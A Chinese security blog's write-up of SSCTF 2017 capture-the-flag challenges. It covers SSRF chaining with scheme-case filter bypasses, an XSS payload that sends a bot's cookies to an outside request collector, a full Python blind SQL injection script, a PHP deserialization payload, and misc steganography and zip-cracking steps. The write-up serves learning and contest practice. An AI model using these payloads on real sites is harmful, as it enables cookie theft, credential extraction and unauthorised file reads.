HeartSky's blog


在渗透之路上渐行渐远


SSCTF 2017 writeup

Web

捡吗? - 100

ssrf 的漏洞,打开后可以看到 news.php?url=xxx,因为题目说是有一台 10.23.173.* 的服务器,所以扫下这个网段,是 10.23.173.190。刚开始的时候扫了下内网服务器的目录,得到了 l.php readme 什么的文件,做了半天后来才知道这是 web3 的服务器 ==
最后主办方放了个很大的提示

1
过程 120.132.21.19 -> 10.23.173.190 -> ftp://172.17.0.2

ftp 有过滤,大小写可以绕过
访问这个

1
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=Ftp://172.17.0.2/

得到

1
-rw-r--r-- 1 root root 40 May 05 12:27 flag.txt

然后再访问 flag.txt 就拿到 flag 了

弹幕 - 200

是一个有类似b站发送弹幕功能的网站,可以看到一个滑稽的表情在一直发,看下内容是

1
<img src="/static/images/welcome.gif" onload="c=encodeURIComponent(document.cookie);if(c.length>32){a=new Image();a.src='/xssHentai/request/1/?body='+c;}">

这条信息应该是脚本定时发的。访问 xssHentai,是一个自带的 xss 平台。任意的用户名和密码都可以登录,看到有个 flag 的 cookie,内容是 "if uid = 1\054you will see flag",页面里有 请按照/xssHentai/request/23/?body=xxxxx格式发送请求,每次刷新显示1条并删除,也就是说我们登录的这个 xss 平台 flag 是 23,而 bot 登录的平台 uid 是 1,它的 cookie 里是有 flag 的。访问下 body=<img src=1>,发现是没有过滤的,图片直接解析了,那么就有一种思路了。我们在弹幕里发送 body=payload,这样 payload 就会被 bot 访问,指向我们自己的 xss 平台就可以了
最终的 payload

1
<img src="/static/images/welcome.gif" onload="a=new Image();a.src='/xssHentai/request/1/?body=%3Cimg%20src%3D0%20onerror%3D%27b%3Dnew%20Image%28%29%3Bb.src%3D%22http%3A%2f%2frequestb.in%2fqdbhulqd%3Finspect%3D%22%2bdocument.cookie%27%3E';">

白吗?全是套路-300

打开后有个 news.php,get 请求里有个 id 参数,以为是注入,但是尝试了下,发现很迷

1
2
3
4
5
6
id=1'
返回 select * from sscrf where id=1'
id=1 and 1=2
返回空
id=1 and 1=3
返回新闻不存在

神奇的代码,然后想到 web1 连接到的内网服务器是 web3 的,既然能用 ftp 协议读取文件,应该也能用 file 协议读取这台服务器的文件

1
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FILe:///var/www/news.php

成功读到源码
submit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

header("CONTENT-TYPE:text/html;charset=UTF-8");
define("HOST","127.0.0.1");
define("USERNAME","root");
define("PASSWORD","");
$con=new mysqli(HOST,USERNAME,PASSWORD,"ctf1");
if(!$con){
echo $con->error;
exit("aaaa");
}
if(!$con->select_db("ctf1")){
echo $con->error;
}
if(!$con->query("SET NAMES utf8")){
echo $con->error;
}

$xss=$_POST["sub"];
$str = addslashes($xss);

/**********获取IP************/
class Action
{

function get_outer()
{
$url = 'http://www.ip138.com/ip2city.asp';
$info = file_get_contents($url);
preg_match('|<center>(.*?)</center>|i', $info, $m);
return $m[1];
}

function get_inter()
{
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
}
$p = new Action();
$intip = $p->get_inter();
$outip2= $intip;
@mkdir("/tmp/ids",0777,true);
$sql="insert into ctf1(xss,ip,time,wai_ip) values('$str','$intip',NOW(),'$outip2')";

if($str=$con->query($sql)){
echo "<script>alert('success');window.location.href='index.php'</script>";
$insertid = mysqli_insert_id($con);
file_put_contents("/tmp/ids/".$insertid,"a");
}
else {
echo "<script>alert('fail');</script>";
}
?>

然后根据扫描得到的 readme 的内容

1
2
3
4
5
6
7
8
9
修改根目录l.php
1.修改相关Web容器信息
2.修改物理路径为linux路径
3.删除windows关键字
部署完成后删除根目录sql.sql、flag、pass文件
默认数据库密码为空,数据库名为ctf1

需要写的脚本
1.数据库中每增加一条ID,访问一次

猜测是有 xss 的,可以看到插入数据库的 xss 字段是用户 POST 传进来的 sub 参数,只进行了转义。那么随便写入一个 <img src=your_xss_platform>,之后就在 xss 平台中收到了 referer 值 admin/b9557ee76eeb61cadda090855a47d266-1.php?id=77930,ssrf 打下这个,是自动访问数据库新增信息的脚本,里面有个 js.php,访问下就拿到了 flag

CloverSecLogos - 500

存在 index.php 和 picture.php
其中 picture.php 存在 id=1 的 get 请求,应该是存在注入的,FUZZ 下可以得出 and or 空格 # 都被替换成了空,因为提示给了表名 user,字段名 username 和 password,所以写个脚本盲注就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# coding=utf-8
'''
HTTP GET
盲注
'''
import requests
import string

li = string.digits + string.ascii_letters
url = 'http://60.191.205.80/picture.php?id='

def getDatabase():
database = ''
for i in range(5):
for c in li:
payload = '1"%26%26substring(DATABASE(),' + str(i+1) + ',1)="' + c
if(getData(payload)):
database += c
print database
break
print '[*] The current database is ' + database

def getUsername():
username = ''
for i in range(9):
for c in li:
payload = '1"%26%26(select(substring(username,' + str(i+1) + ',1))from(user)where(id=1))="' + c
if(getData(payload)):
username += c
print username
break
print '[*] The current username is ' + username

def getPassword():
password = ''
for i in range(20):
for c in li:
payload = '1"%26%26(select(substring(passwoorrd,' + str(i+1) + ',1))from(user)where(id=1))="' + str(c)
if(getData(payload)):
password += c
print password
break
print '[*] The current password is ' + password

def getData(payload):
r = requests.get(url + payload)
if 'Picture not found!' not in r.text:
return 1


def main():
# getDatabase()
getUsername()
getPassword()

if __name__ == '__main__':
main()

得到用户名 admin,密码 14aceb3fc5992cef3d97,这个有20位,是 dedecms 的加密方式,去掉前三后一后解 md5 得到 admin^g
然后可以登录了,根据提示有备份文件,拿到源码
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php 
if($Username=="Anonymous") {
echo 'xxx';
}
else
{
echo 'xxx';
$sql='select * from user where `username`="'.$Username.'"';
$result=mysql_query($sql);
$imformation=mysql_fetch_array($result);
if(isset($_GET['action'])&&$_GET['action']=='imformation')
{
if(isset($_COOKIE['token']))
{
$secret=$_GET['secret'];
$token =$_COOKIE['token'];
if(isset($secret)&&(file_get_contents($secret,'r')==="1234"))
{
echo "hello Hacker!<br>";
include("include.php");
echo ssctf_unserialize($token);
}
else
{
echo "You are not Hacker ! ";
}
}
else{
setcookie("token",'');
echo '<h2 style="text-align:center;">Welcome</h2>';
echo '<div><h4>User imformation</h4><ul>';
echo '<li>Username : '.$imformation['username'].'</li>';
}
}
else
{
$html='<h1>Welcome CloverSec Labs</h1>';
$html=$html.'<p> Hacking it! </p>';
$html=$html.'<a class="btn btn-primary btn-large" href="#SleepZZZzzz">SleepzzzZZZ</a>';
echo $html;
}

}
?>

include.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
class Read{//ssctf_flag.php
public $file;
public function __toString(){

if(isset($this->file)){
if("ssctf_flag.php"===$this->file)
{
exit();
}
else
{
echo file_get_contents($this->file);
}

}
return "you are big Hacker";
}
}

function ssctf_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value,$matches);
if(count($matches)){
return false;
}
return unserialize($value);
}

?>

可以看到登录后就很简单了,通过反序列化读取 flag 文件,过滤了 [oc]:\d+: ,但是 o:+4 这样也是可以的。文件名的过滤可以用 ./,或者用 php 伪协议,最终的 payload

1
2
3
4
5
http://60.191.205.80?action=imformation&secret=php://input

1234

token O:4:"Read":1:{s:4:"file";s:16:"./ssctf_flag.php";}

Misc

互相伤害!!! - 150

题目给了一个流量包,从中可以导出 21 个表情包,然后 binwalk -e *,得到了一张二维码和一个有密码的压缩包。其中二维码扫描出来是 扔下内衣真的有一线生机?交出内裤才有活路。。之前的表情包里有一张改掉的你尽管做,做出来算我输的表情,上面有个二维码,扫下得到

1
U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7 bE9uL8lW/KLfbs33aC1XXw==

base64 解密下,开头是 Salted__,谷歌下是 AES 加密后的格式,那么只要知道秘钥就能得到明文了,试了半天,结果是表情上的红字 CTF ==,然后可以直接用 openssl 来解

1
openssl aes256 -d -in c1 -out c1.enc -base64

用这个网站也可以直接解出来 http://tool.oschina.net/encrypt
解出来的结果就是压缩包的密码,得到一张图片,中间有个小的二维码,反色扫下就拿到 flag 了

我们的秘密是绿色的 - 200

一时失忆了,上次刚做了陕西比赛的一道题叫 我们的秘密,就是拿 our secret 这个软件来解的,这个也是这样 ==,当时只是瞟了一眼 wp 就没管了
根据绿色的,图片中的日历上有几个数字是绿色的,这就是解密密码,得到 try.zip,windows 下用解压软件打开是可以看到注释的 你知道coffee的生日是多少,linux 下反正直接打开是看不到的,不知道有什么软件可以实现。爆破 8 位数字,然后解压得到 flag.zip 和 readme.txt,然后 flag.zip 里也有一个 readme.txt,那么应该是明文攻击了。用 ARPH 软件跑了两分钟得到了里面的文件,没记错的话再伪加密就是 flag 了(据说好压可以无视伪加密,可以直接提取出文件)

你知道我在等你吗 - 300

题目给了一个压缩包里面有这三个文件

1
2
3
你知道我在等你吗.mp3
提示.png
coffee.zip

Strings 一下 mp3,可以得到一个字符串 falgconfig@tl_
试了下是 coffee.zip 的密码,获得一张 coffee.jpg

扫下提示.png中的二维码,得到 神龙摆尾(ps:不是让你看内容!!!)
本来以为是 LSB,结果不是,然后看下 coffee.jpg,发现文件尾是 png 的文件尾 AE 42 60 82,可能是两张图片合了起来,搜下 jpg 的文件尾标志 FF D9,果然后面是有 IHDR 标志的,但是 png 的文件头被改成了 coffee,我们把它改好得到一张二维码图片,扫下又得到一个 txt 文件,是一个 zip 压缩包,有密码,是伪加密,把 01 改为 00 就可以了,然后 base64 解密,提交括号里的就可以了